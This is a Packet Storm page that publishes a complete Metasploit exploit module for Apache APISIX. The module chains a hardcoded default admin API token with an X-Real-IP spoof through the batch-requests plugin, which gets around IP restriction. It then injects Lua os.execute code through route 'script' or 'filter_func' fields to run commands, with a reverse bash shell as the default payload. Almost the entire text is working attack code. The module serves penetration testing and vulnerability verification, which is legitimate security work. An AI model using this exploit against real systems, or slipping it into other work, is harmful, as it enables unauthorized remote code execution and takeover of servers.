exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache APISIX Remote Code Execution

Apache APISIX Remote Code Execution
Posted Mar 7, 2022
Authored by Heyder Andrade, YuanSheng Wang | Site metasploit.com

Apache APISIX has a default, built-in API token that can be used to obtain full access of the admin API. Access to this API allows for remote LUA code execution through the script parameter added in the 2.x version. This module also leverages another vulnerability to bypass th e IP restriction plugin.

tags | exploit, remote, code execution
advisories | CVE-2020-13945, CVE-2022-24112
SHA-256 | 75f7fd4db82a985948b400b9686ffc05f654d453b228621992abd5bb2505add2

Apache APISIX Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'APISIX Admin API default access token RCE',
'Description' => %q{
Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access
all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x
version. This module also leverages another vulnerability to bypass the IP restriction plugin.
},
'Author' => [
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
'YuanSheng Wang <membphis[at]gmail.com>' # discovered
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-13945'],
['CVE', '2022-24112'],
['URL', 'https://github.com/apache/apisix/pull/2244'],
['URL', 'https://seclists.org/oss-sec/2020/q4/187'],
['URL', 'https://www.openwall.com/lists/oss-security/2022/02/11/3']
],
'DisclosureDate' => '2020-12-07',
'Arch' => ARCH_CMD,
'Platform' => %w[unix],
'Targets' => [
[
'Automatic', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the APISIX DocumentRoot', '/apisix']),
OptString.new('API_KEY', [true, 'Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)', 'edd1c9f034335f136f87ad84b625c8f1']),
OptString.new('ALLOWED_IP', [true, 'IP in the allowed list', '127.0.0.1'])
])
end

def check
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
# batch request is the preferred method because it bypass the ip-restriction plugin
res = nil
if batch_request_enabled?

pipeline = [
{
method: 'GET',
path: "#{target_uri.path}/admin/routes"
}
]
res = batch_request(batch_body(pipeline))
vprint_good('Can perform authenticated requests through batch requests') if res && res.code == 200

pipeline = [
{
method: 'GET',
path: "#{target_uri.path}/admin/routes/index"
}
]
res = batch_request(batch_body(pipeline))

else
vprint_error('The batch-requests plugin is not enabled')

vprint_good('There is direct access to the routes using the provided token') if direct_access?

res = apisix_request({
'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
'method' => 'GET'
})

end
unless res && res.headers.key?('Server')
return Exploit::CheckCode::Unknown('Unable to determine which web server is running')
end

res.headers['Server'].match(%r{(.*)/([\d|.]+)$})

server = Regexp.last_match(1) || nil
version = Rex::Version.new(Regexp.last_match(2)) || nil

if server && server.match(/APISIX/)
vprint_status("Found an #{server} #{version} http server header")
return Exploit::CheckCode::Appears if version > Rex::Version.new('2')
end
return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running')
end

def exploit
# batch request is the preferred method because it bypass the ip-restriction plugin
if batch_request_enabled?
@payload_uri = "/#{Rex::Text.rand_text_alpha_lower(3)}/#{Rex::Text.rand_text_alpha_lower(6)}"
filter_func_exec
# trigger the payload
apisix_request({
'uri' => normalize_uri(@payload_uri),
'method' => 'GET'
})
else
add_route
end
handler
end

def cleanup
return unless @payload_uri

data = {
'uri' => @payload_uri
}
pipeline = [
{
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
'method' => 'DELETE',
'body' => JSON.dump(data)
}
]
vprint_status("Deleting route #{@payload_uri}")
# remove the route
res = batch_request(batch_body(pipeline))
vprint_error('Unable to delete the route') unless res.code == 200
end

def apisix_request(params = {})
params.merge!({
'ctype' => 'application/json',
'headers' => {
'X-API-KEY' => datastore['API_KEY'],
'Accept' => '*/*',
'Accept-Encoding' => 'gzip, deflate'
}
})

send_request_cgi(params)
end

# Using batch request to bypass ip-restriction policies (CVE-2022-24112)
def batch_request(data = nil)
params = {
'uri' => normalize_uri(target_uri.path, '/batch-requests'),
'method' => 'POST'
}
params.merge!({ 'data' => data }) if data

apisix_request(params)
end

def batch_body(pipeline = [])
headers = {
'X-Real-IP': datastore['ALLOWED_IP'].to_s,
'X-API-KEY' => datastore['API_KEY'].to_s,
'Content-Type' => 'application/json'
}

{
'headers' => headers,
'timeout' => 1500,
'pipeline' => pipeline
}.to_json
end

def base_data
{
'uri' => Rex::Text.rand_text_alpha_lower(6),
'upstream' => {
'type' => 'roundrobin',
'nodes' => { Faker::Internet.domain_name.to_s => 1 }
}
}
end

def add_route
# This method use the script parameter to execute the payload
stub = "os.execute('PAYLOAD');".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })
# binding.pry
data = base_data.merge({
'script' => stub
})
uri = normalize_uri(target_uri.path, '/admin/routes')
if batch_request_enabled?
pipeline = [
{
'method' => 'POST',
'path' => uri,
'body' => data
}
]
batch_request(batch_body(pipeline))
else
params = {
'method' => 'POST',
'uri' => uri,
'data' => JSON.dump(data)
}
apisix_request(params)
end
end

def filter_func_exec
# This method use the filter_func parameter to execute the payload
stub = "function(vars) os.execute('PAYLOAD'); return true end".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })

data = base_data.merge({
'uri' => @payload_uri,
'name' => Rex::Text.rand_text_alpha_lower(6),
'filter_func' => stub
})
if batch_request_enabled?
pipeline = [
{
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
'method' => 'PUT',
'body' => JSON.dump(data)
}
]
# add the route
res = batch_request(batch_body(pipeline))
vprint_error('Unable to create route') unless res.code == 200
else
params = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/admin/routes/index'),
'data' => JSON.dump(data)
}
apisix_request(params)
end
end

def direct_access?
res = apisix_request({
'uri' => normalize_uri(target_uri.path, '/admin/routes'),
'method' => 'GET'
})

return false if [401, 403].include?(res.code) || res.body.match?(/'ip-restriction'/)

true
end

def batch_request_enabled?
res = apisix_request({
'uri' => normalize_uri(target_uri.path, '/batch-requests'),
'method' => 'POST'
})

return false if res.code == 404

true
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close